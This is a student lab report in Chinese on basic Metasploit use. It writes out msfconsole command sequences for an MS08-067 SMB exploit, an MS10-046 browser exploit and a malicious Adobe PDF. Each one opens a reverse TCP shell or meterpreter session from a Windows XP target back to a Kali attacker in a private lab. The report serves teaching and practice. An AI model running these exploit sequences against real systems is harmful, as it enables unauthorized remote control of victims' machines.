20155207 实验5 MSF基础应用
基础问题回答
- 用自己的话解释什么是exploit,payload,encode
- exploit:让攻击方式能够发挥作用的通道,更像是没有子弹的枪,提供了攻击方式
- payload:载荷,真正具有攻击能力的“子弹”
- encode:编码,使恶意代码隐藏自己的属性
实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
一个主动攻击实践,如ms08_067;
一个针对浏览器的攻击,如ms11_050;
一个针对客户端的攻击,如Adobe;
成功应用任何一个辅助模块。
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
- 常见攻击方式
程序存在漏洞,敌手透过漏洞发送恶意代码控制被害主机。
恶意链接,其本意是攻击ie,但是一旦不小心打开了这样的链接就会被攻击。
恶意程序伪装成常见的应用程序,以pdf为例,恶意程序攻击的是pdf,但是如果打开了这样的应用,就会中招。
- msf原理
主要集成模块,即metasploit框架中所使用的软件代码组件。主要包括:
exploit
payload 有效载荷,即攻击所依附的主体
encode 改变shellcode形态,去掉坏字符
nop 空字符,作着陆区。
辅助模块,即攻击前提供目标准确信息以便发动更加精准的攻击。
auxiliary
- msf指南
/usr/share/metasploit-framework/modules : 模块目录。
search + 指令:查找相关的指令位置。
use + 模块名:使用模块。
info + 模块名:查看模块使用说明。
armitage : 使用图形化界面。
msfconsole -r +指令 :自动化执行。
实验过程
主动攻击:ms08_067漏洞攻击
攻击方:Kali Linux x64
靶机:Windows XP SP3(English)
关闭XP的所有防御,包括防火墙和杀毒软件。
在Kali机启动msfconsole,按照指导步骤输入以下代码:
use exploit/windows/smb/ms08_067_netapi // 使用ms08_067漏洞攻击方式
set payload generic/shell_reverse_tcp // 以shell反向tcp连接为有效载荷
set RHOST 192.168.129.134 // 受害者的IP
set LHOST 192.168.129.133 // 施害者的IP
set target 0 // 设置目标,0为无差别攻击
输入exploit
开始发动攻击:
对浏览器攻击:ms10_046漏洞攻击
- 先利用指令
search ms10_046
找到可以攻击的模块 - 我们这里选择第一个,输入命令
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
- 输入
show payloads
选择攻击载荷,我们选择generic/shell_reverse_tcp
,输入命令set payload generic/shell_reverse_tcp
使用 - 输入命令
show options
查看配置设置并进行修改 - 输入
exploit
执行
输入
exploit
会出现一段URI:http://192.168.129.133:80/,同时控制台进入监听状态。
受害者访问这个神奇的URI,会弹出一个这样的窗口:控制台同受害者建立起一个连接:
对配置进行修改,选用
set payload windows/meterpreter/reverse_tcp
,设置后查看结果,输入sessions
查看到一个ID号为1的会话:输入
sessions
查看有多少机器被反向链接到Kali机上(只有一个)。
再次输入sessions -i
1以控制受害者。
对Adobe的漏洞攻击
- 输入
search adobe
查询和adobe漏洞有关的模块,输入命令exploit/windows/fileformat/adobe_pdf_embedded_exe
- 选择攻击载荷payload,输入命令
windows/meterpreter/reverse_tcp
- 输入命令
set payload windows/meterpreter/reverse_tcp
使用攻击载荷 - 配置渗透攻击的各个选项
- 输入
exploit
执行查看结果
同时,在Kali的msfconsole上输入以下命令开始监听:
use exploit/multi/handler
set LHOST 192.168.129.133
set LPORT 4444
exploit
得到结果:
辅助模块的应用
- 输入命令
show auxiliary
查看辅助模块,并挑选使用scanner/http/options
- 输入命令
use scanner/http/options
,输入info
查看信息 - 设置参数
- 输入命令
exploit
执行
实验总结与体会
这次实践多了自己思考的过程,感觉对msf的了解更多了一点,也更加能通过这种借鉴别人然后自己尝试的方式学习到更多